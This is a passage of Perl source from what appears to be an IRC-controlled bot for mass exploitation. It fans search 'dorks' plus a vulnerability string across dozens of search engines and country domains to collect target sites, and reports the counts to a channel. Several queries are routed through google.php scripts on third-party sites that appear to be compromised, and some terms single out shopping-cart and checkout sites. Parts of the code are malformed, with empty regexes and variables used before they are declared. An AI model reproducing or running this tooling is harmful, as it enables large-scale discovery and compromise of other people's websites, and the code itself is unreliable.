push(@total,@pm); } if ($engine eq "st") { my @st = &st($dork); push(@total,@st); } if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); } if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); } if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); } if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); } if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); } if ($engine eq "so") { my @so = &so($dork); push(@total,@so); } if ($engine eq "su") { my @su = &su($dork); push(@total,@su); } if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); } if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); } if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); } if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); } if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); } if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); } if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); } if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); } if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); } if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); } if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); } if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); } if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); } if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); } if ($engine eq "WaLLa") { my @walla = &walla($dork,$channel); push(@total,@walla); } if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); } if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); } if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); } if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); } if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); } if ($engine eq "CLusTy") { my @clusty = &clusty($dork); push(@total,@clusty); } if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); } if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); } if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); } if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); } if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); } if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); } if ($engine eq "Yahoo2") { my @yahoo2 = &yahoo2($dork); push(@total,@yahoo2); } if ($engine eq "KvaSiR") { my @kvasir = &kvasir($dork); push(@total,@kvasir); } if ($engine eq "QuinT") { my @quint = &quint($dork); push(@total,@quint); } if ($engine eq "Pagina") { my @pagina = &pagina($dork); push(@total,@pagina); } if ($engine eq "Clix") { my @clix = &clix($dork); push(@total,@clix); } if ($engine eq "ask2") { my @ask2 = &ask2($dork); push(@total,@ask2); } if ($engine eq "webcrawler") { my @webcrawler = &webcrawler($dork); push(@total,@webcrawler); } if ($engine eq "witch") { my @witch = &witch($dork); push(@total,@witch); } if ($engine eq "amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); } if ($engine eq "gibla") { my @gibla = &gibla($dork); push(@total,@gibla); } if ($engine eq "mywebsearch") { my @mywebsearch = &mywebsearch($dork); push(@total,@mywebsearch); } if ($engine eq "dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); } if ($engine eq "infocom") { my @infocom = &infocom($dork); push(@total,@infocom); } if ($engine eq "searchcom") { my @searchcom = &searchcom($dork); push(@total,@searchcom); } if ($engine eq "teoma") { my @teoma = &teoma($dork); push(@total,@teoma); } if ($engine eq "volunia") { my @volunia = &volunia($dork); push(@total,@volunia); } if ($engine eq "izito") { my @izito = &izito($dork); push(@total,@izito); } if ($engine eq "becak") { my @becak = &becak($dork); push(@total,@becak); } if ($engine eq "bokep") { my @bokep = &bokep($dork); push(@total,@bokep); } if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); } if ($engine eq "shuncengAE") { my @shuncengae = &shunceng($dork."+site:ae"); push(@total,@shuncengae); } if ($engine eq "shuncengAR") { my @shuncengar = &shunceng($dork."+site:ar"); push(@total,@shuncengar); } if ($engine eq "shuncengAT") { my @shuncengat = &shunceng($dork."+site:at"); push(@total,@shuncengat); } if ($engine eq "shuncengAU") { my @shuncengau = &shunceng($dork."+site:au"); push(@total,@shuncengau); } if ($engine eq "shuncengBR") { my @shuncengbr = &shunceng($dork."+site:br"); push(@total,@shuncengbr); } if ($engine eq "shuncengCA") { my @shuncengca = &shunceng($dork."+site:ca"); push(@total,@shuncengca); } if ($engine eq "shuncengCL") { my @shuncengcl = &shunceng($dork."+site:cl"); push(@total,@shuncengcl); } if ($engine eq "shuncengCN") { my @shuncengcn = &shunceng($dork."+site:cn"); push(@total,@shuncengcn); } if ($engine eq "shuncengCOM") { my @shuncengcom = &shunceng($dork."+site:com"); push(@total,@shuncengcom); } if ($engine eq "shuncengCZ") { my @shuncengcz = &shunceng($dork."+site:cz"); push(@total,@shuncengcz); } if ($engine eq "shuncengDE") { my @shuncengde = &shunceng($dork."+site:de"); push(@total,@shuncengde); } if ($engine eq "shuncengDK") { my @shuncengdk = &shunceng($dork."+site:dk"); push(@total,@shuncengdk); } if ($engine eq "shuncengES") { my @shuncenges = &shunceng($dork."+site:es"); push(@total,@shuncenges); } if ($engine eq "shuncengEU") { my @shuncengeu = &shunceng($dork."+site:eu"); push(@total,@shuncengeu); } if ($engine eq "shuncengFR") { my @shuncengfr = &shunceng($dork."+site:fr"); push(@total,@shuncengfr); } if ($engine eq "shuncengHU") { my @shuncenghu = &shunceng($dork."+site:hu"); push(@total,@shuncenghu); } if ($engine eq "shuncengID") { my @shuncengid = &shunceng($dork."+site:id"); push(@total,@shuncengid); } if ($engine eq "shuncengIL") { my @shuncengil = &shunceng($dork."+site:il"); push(@total,@shuncengil); } if ($engine eq "shuncengIN") { my @shuncengin = &shunceng($dork."+site:in"); push(@total,@shuncengin); } if ($engine eq "shuncengINFO") { my @shuncenginfo = &shunceng($dork."+site:info"); push(@total,@shuncenginfo); } if ($engine eq "shuncengIR") { my @shuncengir = &shunceng($dork."+site:ir"); push(@total,@shuncengir); } if ($engine eq "shuncengIT") { my @shuncengit = &shunceng($dork."+site:it"); push(@total,@shuncengit); } if ($engine eq "shuncengJP") { my @shuncengjp = &shunceng($dork."+site:jp"); push(@total,@shuncengjp); } if ($engine eq "shuncengKR") { my @shuncengkr = &shunceng($dork."+site:kr"); push(@total,@shuncengkr); } if ($engine eq "shuncengMX") { my @shuncengmx = &shunceng($dork."+site:mx"); push(@total,@shuncengmx); } if ($engine eq "shuncengMY") { my @shuncengmy = &shunceng($dork."+site:my"); push(@total,@shuncengmy); } if ($engine eq "shuncengNeT") { my @shuncengnet = &shunceng($dork."+site:net"); push(@total,@shuncengnet); } if ($engine eq "shuncengNL") { my @shuncengnl = &shunceng($dork."+site:nl"); push(@total,@shuncengnl); } if ($engine eq "shuncengORG") { my @shuncengorg = &shunceng($dork."+site:org"); push(@total,@shuncengorg); } if ($engine eq "shuncengPH") { my @shuncengph = &shunceng($dork."+site:ph"); push(@total,@shuncengph); } if ($engine eq "shuncengPL") { my @shuncengpl = &shunceng($dork."+site:pl"); push(@total,@shuncengpl); } if ($engine eq "shuncengRO") { my @shuncengro = &shunceng($dork."+site:ro"); push(@total,@shuncengro); } if ($engine eq "shuncengRU") { my @shuncengru = &shunceng($dork."+site:ru"); push(@total,@shuncengru); } if ($engine eq "shuncengTH") { my @shuncength = &shunceng($dork."+site:th"); push(@total,@shuncength); } if ($engine eq "shuncengUA") { my @shuncengua = &shunceng($dork."+site:ua"); push(@total,@shuncengua); } if ($engine eq "shuncengUK") { my @shuncenguk = &shunceng($dork."+site:uk"); push(@total,@shuncenguk); } if ($engine eq "shuncengUS") { my @shuncengus = &shunceng($dork."+site:us"); push(@total,@shuncengus); } if ($engine eq "shuncengSI") { my @shuncengsi = &shunceng($dork."+site:si"); push(@total,@shuncengsi); } if ($engine eq "shuncengBE") { my @shuncengbe = &shunceng($dork."+site:be"); push(@total,@shuncengbe); } if ($engine eq "shuncengBIZ") { my @shuncengbiz = &shunceng($dork."+site:biz"); push(@total,@shuncengbiz); } if ($engine eq "domAE") { my @domae = &dom($dork."+site:ae"); push(@total,@domae); } if ($engine eq "domAR") { my @domar = &dom($dork."+site:ar"); push(@total,@domar); } if ($engine eq "domAT") { my @domat = &dom($dork."+site:at"); push(@total,@domat); } if ($engine eq "domAU") { my @domau = &dom($dork."+site:au"); push(@total,@domau); } if ($engine eq "domBR") { my @dombr = &dom($dork."+site:br"); push(@total,@dombr); } if ($engine eq "domCA") { my @domca = &dom($dork."+site:ca"); push(@total,@domca); } if ($engine eq "domCL") { my @domcl = &dom($dork."+site:cl"); push(@total,@domcl); } if ($engine eq "domCN") { my @domcn = &dom($dork."+site:cn"); push(@total,@domcn); } if ($engine eq "domCOM") { my @domcom = &dom($dork."+site:com"); push(@total,@domcom); } if ($engine eq "domCZ") { my @domcz = &dom($dork."+site:cz"); push(@total,@domcz); } if ($engine eq "domDE") { my @domde = &dom($dork."+site:de"); push(@total,@domde); } if ($engine eq "domDK") { my @domdk = &dom($dork."+site:dk"); push(@total,@domdk); } if ($engine eq "domES") { my @domes = &dom($dork."+site:es"); push(@total,@domes); } if ($engine eq "domEU") { my @domeu = &dom($dork."+site:eu"); push(@total,@domeu); } if ($engine eq "domFR") { my @domfr = &dom($dork."+site:fr"); push(@total,@domfr); } if ($engine eq "domHU") { my @domhu = &dom($dork."+site:hu"); push(@total,@domhu); } if ($engine eq "domID") { my @domid = &dom($dork."+site:id"); push(@total,@domid); } if ($engine eq "domIL") { my @domil = &dom($dork."+site:il"); push(@total,@domil); } if ($engine eq "domIN") { my @domin = &dom($dork."+site:in"); push(@total,@domin); } if ($engine eq "domINFO") { my @dominfo = &dom($dork."+site:info"); push(@total,@dominfo); } if ($engine eq "domIR") { my @domir = &dom($dork."+site:ir"); push(@total,@domir); } if ($engine eq "domIT") { my @domit = &dom($dork."+site:it"); push(@total,@domit); } if ($engine eq "domJP") { my @domjp = &dom($dork."+site:jp"); push(@total,@domjp); } if ($engine eq "domKR") { my @domkr = &dom($dork."+site:kr"); push(@total,@domkr); } if ($engine eq "domMX") { my @dommx = &dom($dork."+site:mx"); push(@total,@dommx); } if ($engine eq "domMY") { my @dommy = &dom($dork."+site:my"); push(@total,@dommy); } if ($engine eq "domNeT") { my @domnet = &dom($dork."+site:net"); push(@total,@domnet); } if ($engine eq "domNL") { my @domnl = &dom($dork."+site:nl"); push(@total,@domnl); } if ($engine eq "domORG") { my @domorg = &dom($dork."+site:org"); push(@total,@domorg); } if ($engine eq "domPH") { my @domph = &dom($dork."+site:ph"); push(@total,@domph); } if ($engine eq "domPL") { my @dompl = &dom($dork."+site:pl"); push(@total,@dompl); } if ($engine eq "domRO") { my @domro = &dom($dork."+site:ro"); push(@total,@domro); } if ($engine eq "domRU") { my @domru = &dom($dork."+site:ru"); push(@total,@domru); } if ($engine eq "domTH") { my @domth = &dom($dork."+site:th"); push(@total,@domth); } if ($engine eq "domUA") { my @domua = &dom($dork."+site:ua"); push(@total,@domua); } if ($engine eq "domUK") { my @domuk = &dom($dork."+site:uk"); push(@total,@domuk); } if ($engine eq "domUS") { my @domus = &dom($dork."+site:us"); push(@total,@domus); } if ($engine eq "domSI") { my @domsi = &dom($dork."+site:si"); push(@total,@domsi); } if ($engine eq "domBE") { my @dombe = &dom($dork."+site:be"); push(@total,@dombe); } if ($engine eq "domBIZ") { my @dombiz = &dom($dork."+site:biz"); push(@total,@dombiz); } if ($engine eq "Marlboro") { my @mar = &file($dork."+Posted on *"); push(@total,@mar); } if ($engine eq "Mustang") { my @mus = &file($dork."+Porn Web"); push(@total,@mus); } if ($engine eq "U-Mild") { my @U = &file($dork."+Shop File"); push(@total,@U); } if ($engine eq "Surya") { my @Sur = &file($dork."+Shop Website"); push(@total,@Sur); } if ($engine eq "Vegas") { my @Veg = &file($dork."+checkout"); push(@total,@Veg); } if ($engine eq "Viper") { my @Vip = &file($dork."+cart*"); push(@total,@Vip); } if ($engine eq "Tanggida'a") { my @Td = &cek($dork."+Shoping cart"); push(@total,@Td); } if ($engine eq "Tanggikiki") { my @Tkk = &cek($dork."+Powered By *"); push(@total,@Tkk); } if ($engine eq "Bengsol") { my @Beng = &cek($dork."+copyright"); push(@total,@Beng); } if ($engine eq "Tapa") { my @Ta = &cek($dork."+Fuck Web"); push(@total,@Ta); } if ($engine eq "Ayula") { my @Ay = &cek($dork."+Logo"); push(@total,@Ay); } if ($engine eq "Dulomo") { my @Du = &cek($dork."+WebShop"); push(@total,@Du); } if ($engine eq "MicroPhone") { my @MP = &jabrix($dork."+Posted on *"); push(@total,@MP); } if ($engine eq "Monitor") { my @moni = &jabrix($dork."Porn Web"); push(@total,@moni); } if ($engine eq "Mouser") { my @mou = &jabrix($dork."Shop File"); push(@total,@mou); } if ($engine eq "Keyboard") { my @Key = &jabrix($dork."Shop Website"); push(@total,@Key); } if ($engine eq "Cable") { my @Cab = &jabrix($dork."Find"); push(@total,@Cab); } if ($engine eq "CPU") { my @CPU = &jabrix($dork."card*"); push(@total,@CPU); } if ($engine eq "Modem") { my @Mod = &samri($dork."WebShop"); push(@total,@Mod); } if ($engine eq "Rooter") { my @Root = &samri($dork."+powered "); push(@total,@Root); } if ($engine eq "Printer") { my @Prin = &samri($dork."copyright"); push(@total,@Prin); } if ($engine eq "FlashDISC") { my @FD = &samri($dork."Fuck Web"); push(@total,@FD); } if ($engine eq "CDroom") { my @Dr = &samri($dork."Logo"); push(@total,@Dr); } if ($engine eq "HDD") { my @HDD = &samri($dork."Porn"); push(@total,@HDD); } if ($engine eq "suspectAE") { my @suspectae = &suspect($dork. $vuln. "+site:ae"); push(@total,@suspectae); } if ($engine eq "suspectAR") { my @suspectar = &suspect($dork. $vuln. "+site:ar"); push(@total,@suspectar); } if ($engine eq "suspectAT") { my @suspectat = &suspect($dork. $vuln. "+site:at"); push(@total,@suspectat); } if ($engine eq "suspectAU") { my @suspectau = &suspect($dork. $vuln. "+site:au"); push(@total,@suspectau); } if ($engine eq "suspectBR") { my @suspectbr = &suspect($dork. $vuln. "+site:br"); push(@total,@suspectbr); } if ($engine eq "suspectCA") { my @suspectca = &suspect($dork. $vuln. "+site:ca"); push(@total,@suspectca); } if ($engine eq "suspectCL") { my @suspectcl = &suspect($dork. $vuln. "+site:cl"); push(@total,@suspectcl); } if ($engine eq "suspectCN") { my @suspectcn = &suspect($dork. $vuln. "+site:cn"); push(@total,@suspectcn); } if ($engine eq "suspectCOM") { my @suspectcom = &suspect($dork. $vuln. "+site:com"); push(@total,@suspectcom); } if ($engine eq "suspectCZ") { my @suspectcz = &suspect($dork. $vuln. "+site:cz"); push(@total,@suspectcz); } if ($engine eq "suspectDE") { my @suspectde = &suspect($dork. $vuln. "+site:de"); push(@total,@suspectde); } if ($engine eq "suspectDK") { my @suspectdk = &suspect($dork. $vuln. "+site:dk"); push(@total,@suspectdk); } if ($engine eq "suspectES") { my @suspectes = &suspect($dork. $vuln. "+site:es"); push(@total,@suspectes); } if ($engine eq "suspectEU") { my @suspecteu = &suspect($dork. $vuln. "+site:eu"); push(@total,@suspecteu); } if ($engine eq "suspectFR") { my @suspectfr = &suspect($dork. $vuln. "+site:fr"); push(@total,@suspectfr); } if ($engine eq "suspectHU") { my @suspecthu = &suspect($dork. $vuln. "+site:hu"); push(@total,@suspecthu); } if ($engine eq "suspectID") { my @suspectid = &suspect($dork. $vuln. "+site:id"); push(@total,@suspectid); } if ($engine eq "suspectIL") { my @suspectil = &suspect($dork. $vuln. "+site:il"); push(@total,@suspectil); } if ($engine eq "suspectIN") { my @suspectin = &suspect($dork. $vuln. "+site:in"); push(@total,@suspectin); } if ($engine eq "suspectINFO") { my @suspectinfo = &suspect($dork. $vuln. "+site:info"); push(@total,@suspectinfo); } if ($engine eq "suspectIR") { my @suspectir = &suspect($dork. $vuln. "+site:ir"); push(@total,@suspectir); } if ($engine eq "suspectIT") { my @suspectit = &suspect($dork. $vuln. "+site:it"); push(@total,@suspectit); } if ($engine eq "suspectJP") { my @suspectjp = &suspect($dork. $vuln. "+site:jp"); push(@total,@suspectjp); } if ($engine eq "suspectKR") { my @suspectkr = &suspect($dork. $vuln. "+site:kr"); push(@total,@suspectkr); } if ($engine eq "suspectMX") { my @suspectmx = &suspect($dork. $vuln. "+site:mx"); push(@total,@suspectmx); } if ($engine eq "suspectMY") { my @suspectmy = &suspect($dork. $vuln. "+site:my"); push(@total,@suspectmy); } if ($engine eq "suspectNeT") { my @suspectnet = &suspect($dork. $vuln. "+site:net"); push(@total,@suspectnet); } if ($engine eq "suspectNL") { my @suspectnl = &suspect($dork. $vuln. "+site:nl"); push(@total,@suspectnl); } if ($engine eq "suspectORG") { my @suspectorg = &suspect($dork. $vuln. "+site:org"); push(@total,@suspectorg); } if ($engine eq "suspectPH") { my @suspectph = &suspect($dork. $vuln. "+site:ph"); push(@total,@suspectph); } if ($engine eq "suspectPL") { my @suspectpl = &suspect($dork. $vuln. "+site:pl"); push(@total,@suspectpl); } if ($engine eq "suspectRO") { my @suspectro = &suspect($dork. $vuln. "+site:ro"); push(@total,@suspectro); } if ($engine eq "suspectRU") { my @suspectru = &suspect($dork. $vuln. "+site:ru"); push(@total,@suspectru); } if ($engine eq "suspectTH") { my @suspectth = &suspect($dork. $vuln. "+site:th"); push(@total,@suspectth); } if ($engine eq "suspectUA") { my @suspectua = &suspect($dork. $vuln. "+site:ua"); push(@total,@suspectua); } if ($engine eq "suspectUK") { my @suspectuk = &suspect($dork. $vuln. "+site:uk"); push(@total,@suspectuk); } if ($engine eq "suspectUS") { my @suspectus = &suspect($dork. $vuln. "+site:us"); push(@total,@suspectus); } if ($engine eq "suspectSI") { my @suspectsi = &suspect($dork. $vuln. "+site:si"); push(@total,@suspectsi); } if ($engine eq "suspectBE") { my @suspectbe = &suspect($dork. $vuln. "+site:be"); push(@total,@suspectbe); } if ($engine eq "suspectBIZ") { my @suspectbiz = &suspect($dork. $vuln. "+site:biz"); push(@total,@suspectbiz); } if ($engine eq "engAE") { my @engae = &indra($dork. $vuln. "+site:ae"); push(@total,@engae); } if ($engine eq "engAR") { my @engar = &indra($dork. $vuln. "+site:ar"); push(@total,@engar); } if ($engine eq "engAT") { my @engat = &indra($dork. $vuln. "+site:at"); push(@total,@engat); } if ($engine eq "engAU") { my @engau = &indra($dork. $vuln. "+site:au"); push(@total,@engau); } if ($engine eq "engBR") { my @engbr = &indra($dork. $vuln. "+site:br"); push(@total,@engbr); } if ($engine eq "engCA") { my @engca = &indra($dork. $vuln. "+site:ca"); push(@total,@engca); } if ($engine eq "engCL") { my @engcl = &indra($dork. $vuln. "+site:cl"); push(@total,@engcl); } if ($engine eq "engCN") { my @engcn = &indra($dork. $vuln. "+site:cn"); push(@total,@engcn); } if ($engine eq "engCOM") { my @engcom = &indra($dork. $vuln. "+site:com"); push(@total,@engcom); } if ($engine eq "engCZ") { my @engcz = &indra($dork. $vuln. "+site:cz"); push(@total,@engcz); } if ($engine eq "engDE") { my @engde = &indra($dork. $vuln. "+site:de"); push(@total,@engde); } if ($engine eq "engDK") { my @engdk = &indra($dork. $vuln. "+site:dk"); push(@total,@engdk); } if ($engine eq "engES") { my @enges = &indra($dork. $vuln. "+site:es"); push(@total,@enges); } if ($engine eq "engEU") { my @engeu = &indra($dork. $vuln. "+site:eu"); push(@total,@engeu); } if ($engine eq "engFR") { my @engfr = &indra($dork. $vuln. "+site:fr"); push(@total,@engfr); } if ($engine eq "engHU") { my @enghu = &indra($dork. $vuln. "+site:hu"); push(@total,@enghu); } if ($engine eq "engID") { my @engid = &indra($dork. $vuln. "+site:id"); push(@total,@engid); } if ($engine eq "engIL") { my @engil = &indra($dork. $vuln. "+site:il"); push(@total,@engil); } if ($engine eq "engIN") { my @engin = &indra($dork. $vuln. "+site:in"); push(@total,@engin); } if ($engine eq "engINFO") { my @enginfo = &indra($dork. $vuln. "+site:info"); push(@total,@enginfo); } if ($engine eq "engIR") { my @engir = &indra($dork. $vuln. "+site:ir"); push(@total,@engir); } if ($engine eq "engIT") { my @engit = &indra($dork. $vuln. "+site:it"); push(@total,@engit); } if ($engine eq "engJP") { my @engjp = &indra($dork. $vuln. "+site:jp"); push(@total,@engjp); } if ($engine eq "engKR") { my @engkr = &indra($dork. $vuln. "+site:kr"); push(@total,@engkr); } if ($engine eq "engMX") { my @engmx = &indra($dork. $vuln. "+site:mx"); push(@total,@engmx); } if ($engine eq "engMY") { my @engmy = &indra($dork. $vuln. "+site:my"); push(@total,@engmy); } if ($engine eq "engNeT") { my @engnet = &indra($dork. $vuln. "+site:net"); push(@total,@engnet); } if ($engine eq "engNL") { my @engnl = &indra($dork. $vuln. "+site:nl"); push(@total,@engnl); } if ($engine eq "engORG") { my @engorg = &indra($dork. $vuln. "+site:org"); push(@total,@engorg); } if ($engine eq "engPH") { my @engph = &indra($dork. $vuln. "+site:ph"); push(@total,@engph); } if ($engine eq "engPL") { my @engpl = &indra($dork. $vuln. "+site:pl"); push(@total,@engpl); } if ($engine eq "engRO") { my @engro = &indra($dork. $vuln. "+site:ro"); push(@total,@engro); } if ($engine eq "engRU") { my @engru = &indra($dork. $vuln. "+site:ru"); push(@total,@engru); } if ($engine eq "engTH") { my @ength = &indra($dork. $vuln. "+site:th"); push(@total,@ength); } if ($engine eq "engUA") { my @engua = &indra($dork. $vuln. "+site:ua"); push(@total,@engua); } if ($engine eq "engUK") { my @enguk = &indra($dork. $vuln. "+site:uk"); push(@total,@enguk); } if ($engine eq "engUS") { my @engus = &indra($dork. $vuln. "+site:us"); push(@total,@engus); } if ($engine eq "engSI") { my @engsi = &indra($dork. $vuln. "+site:si"); push(@total,@engsi); } if ($engine eq "engBE") { my @engbe = &indra($dork. $vuln. "+site:be"); push(@total,@engbe); } if ($engine eq "engBIZ") { my @engbiz = &indra($dork. $vuln. "+site:biz"); push(@total,@engbiz); } if ($engine eq "GooGLe1") { my @google1 = google1($dork); push(@total,@google1); } if ($engine eq "GooGLe3") { my @google3 = google3($dork); push(@total,@google3); } if ($engine eq "GooGLe4") { my @google4 = google4($dork); push(@total,@google4); } if ($engine eq "GooGLe5") { my @google5 = google5($dork); push(@total,@google5); } if ($engine eq "GooGLe6") { my @google6 = google6($dork); push(@total,@google6); } if ($engine eq "GooGLe7") { my @google7 = google7($dork); push(@total,@google7); } if ($engine eq "GooGLe8") { my @google8 = google8($dork); push(@total,@google8); } if ($engine eq "GooGLe9") { my @google9 = google9($dork); push(@total,@google9); } if ($engine eq "GooGLea1") { my @googlea1 = googlea1($dork); push(@total,@googlea1); } if ($engine eq "GooGLea2") { my @googlea2 = googlea2($dork); push(@total,@googlea2); } if ($engine eq "GooGLeC1") { my @googleC1 = googleC1($dork); push(@total,@googleC1); } if ($engine eq "GooGLeC2") { my @googleC2 = googleC2($dork); push(@total,@googleC2); } if ($engine eq "GooGLeC3") { my @googleC3 = googleC3($dork); push(@total,@googleC3); } if ($engine eq "GooGLeC4") { my @googleC4 = googleC4($dork); push(@total,@googleC4); } if ($engine eq "GooGLeC5") { my @googleC5 = googleC5($dork); push(@total,@googleC5); } @clean = &clean(@total); if ($silentmode == 0) { &msg("$channel","10|14$engine10| 10(14".scalar(@total)."10) 10(14".scalar(@clean)."10) "); } return @clean; } ################################################################################## sub isFound() { my $status = 0; my $link = $_[0]; my $reqexp = $_[1]; my $res = &get_content($link); if ($res =~ /$reqexp/) { $status = 1 } return $status; } sub get_content() { my $url = $_[0]; my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout($timot); my $req = HTTP::Request->new(GET => $url); my $res = $ua->request($req); return $res->content; } ######################################### SEARCH ENGINE sub jack() { my @list; my $key = $_[0]; my $jackx = $_[1]; for (my $i=0; $i<=1000; $i+=100){ my $search = ($jackx.uri_escape($key)."&num=100&start=".$i); my $res = &search_engine_query($search); while ($res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub bypass2() { my @list; my $key = $_[0]; my $search = ($bypass2.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google1() { my @list; my $key = $_[0]; my $search = ("http://www.pvcproject.reecezone.net/google.php?key=".key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google2() { my @list; my $key = $_[0]; my $search = ("http://www.quieroleer.es//images/stories//google.php?key=".key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google3() { my @list; my $key = $_[0]; my $search = ("http://www.bl.net/google.php?key=".key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google4() { my @list; my $key = $_[0]; my $search = ($Bp12.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google5() { my @list; my $key = $_[0]; my $search = ($Bp11.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google6() { my @list; my $key = $_[0]; my $search = ("http://shopmarykay.ru//libraries/google.php?key=".key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google7() { my @list; my $key = $_[0]; my $search = ($Bp5.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google8() { my @list; my $key = $_[0]; my $search = ($Bp4.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub google9() { my @list; my $key = $_[0]; my $search = ($Bp3.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googlea1() { my @list; my $key = $_[0]; my $search = ($Bp10.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googlea2() { my @list; my $key = $_[0]; my $search = ($Bp2.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } return @list; } sub googleC1() { my @list; my $key = $_[0]; my $search = ($Bp9.key($key)); my $res = &search_engine_query($search); while ($res =~ m/url\?q=http:\/\/(.*?)\//g || $res =~ m/url\?url=http:\/\/(.*?)\//g || $res =~ m//g || $res =~ m/u=http:\/\/(.*?)\//g) { if ($link !~ /bing|yahoo|msn|live|google|youtube|wikipedia/){ my $link 